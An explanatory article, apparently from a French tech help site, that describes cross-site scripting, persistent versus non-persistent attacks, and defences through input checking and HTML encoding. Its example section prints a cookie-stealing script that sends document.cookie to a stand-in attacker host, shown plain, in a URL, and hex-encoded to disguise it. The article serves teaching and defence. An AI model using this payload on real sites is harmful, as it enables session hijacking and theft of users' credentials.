Cross-Site Scripting attacks

Malicious code injection

Cross-Site Scripting (sometimes abbreviated *XSS* or *CSS*) attacks are attacks targeting websites that dynamically display user content without checking and encoding the information entered by users. Cross-Site Scripting attacks force a website to display HTML code or scripts entered by users. The code thus included (the term "injected" is generally used) in a vulnerable website is said to be "malicious".

It is common for sites to display informational messages directly using a parameter entered by the user. The most classic example is that of "404 error pages". Some websites modify the website's behavior, so as to display a personalized error message when the page requested by the visitor does not exist. Sometimes the dynamically generated page displays the name of the requested page. Let's call a site with such as flaw *http://vulnerable.site*. The call of the *http://vulnerable.site/nonexistent-page* URL corresponding to a page that does not exist will generate the display of an error message stating that the "nonexistent-page" page does not exist. It is therefore possible to display any content from the website by replacing "nonexistent-page" with any other character string.
As such, if the content provided by the user is not verified, it is possible to display abritrary HTML code on a web page, in order to change its appearance, content or behavior.

In addition, most browsers have the ability to interpret scripts contained in web pages and written in different languages, such as JavaScript, VBScript, Java, ActiveX or Flash. The following HTML tags make it possible to incorporate executable scripts in a web page: <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.

A hacker can therefore inject arbitrary code in the web page, so it is executed by the user's computer in the context of making the vulnerable site secure. To do so, he simply needs to replace the value of the text to be displayed with a script, in order for it to be displayed on the web page. As long as the user's browser is configured to execute such scripts, the malicious code has access to all data shared by the user's web page and the server (cookies, input fields, etc.).

Consequences

Thanks to Cross-Site Scripting vulnerabilities, a hacker can use this method to recover data exchanged between the user and the website concerned. The code injected in the

web page can be used to display a form to fool the user and get him to enter authentication information, for example.

Moreover, the injected script may redirect the user to a web page controlled by the hacker and possibly featuring the same graphic interface as the compromised site in order to fool the user.

In such a context, the trust-based relationship that existed between the user and the website is fully compromised.

Persistence of the attack

When the data entered by the user are stored on the server for a certain length of time (case of a discussion forum, for example), the attack is called "**persistent**". All of the website's users have access to the page where the harmful code was introduced.
So-called "**non-persistent**" attacks concern dynamic web pages where a variable entered by the user is displayed as such (for example, the display of the user name, of the current page or of the word entered in an input field). To be able to exploit this vulnerability, the attacker has to provide the victim with a modified URL, passing the code to be inserted as a parameter. However, since a URL that contains Javascript code elements may appear suspicious to the victim, this attack is generally made by encoding data in the URL, so it disguises the injected code from the user.

Example

Say that the CommentCaMarche.net welcome page is vulnerable to a Cross-Site Scripting attack since a welcome message can be displayed on the welcome page with the user's name passed as a parameter:

http://en.kioskea.net/**?**nom=Jeff
A malicious person could carry out a non-persistent Cross-Site Scripting attack by providing a victim with an address that replaces the name "Jeff" with HTML code. He could, in particular, pass the following Javascript code as a parameter, in order to redirect the user to a page he controls:

```
<SCRIPT>
document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>
```

The above code retrieves the user's cookies and sends them as parameters to a CGI script. The following code passed as a parameter would be too visible:

```
http://en.kioskea.net/?nom=<SCRIPT>document.location
='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>
```

However, coding the URL makes it possible to disguise the attack:

http://en.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%53%43%52%49%50%54%3e

Cross attack

In the previous example, the entire script was passed as a URL parameter. The GET method, which makes it possible to pass parameters in the URL, is limited to a total length of 255 characters for the URL. Thanks to the *SRC* attribute of the <SCRIPT> tag, it is possible to execute malicious code stored in a script on a remote server! In that it is therefore possible to inject code from a remote source, this type of attack is referred to as "*Cross-Site*".

Protection

Users can protect themselves against CSS attacks by configuring their browsers to prevent the execution of script languages. In reality, this solution is often much too restrictive for the user since many sites refuse to run correctly when there is no possibility of dynamic code execution.

The only viable solution for preventing Cross-Site Scripting attacks is to design non-vulnerable websites. To do so, the designer of a website should:

- Verify the format of data entered by users;
- Encode displayed user data by replacing special characters with their HTML equivalents.

The term "sanitation" refers to all actions that help make data entered by a user secure.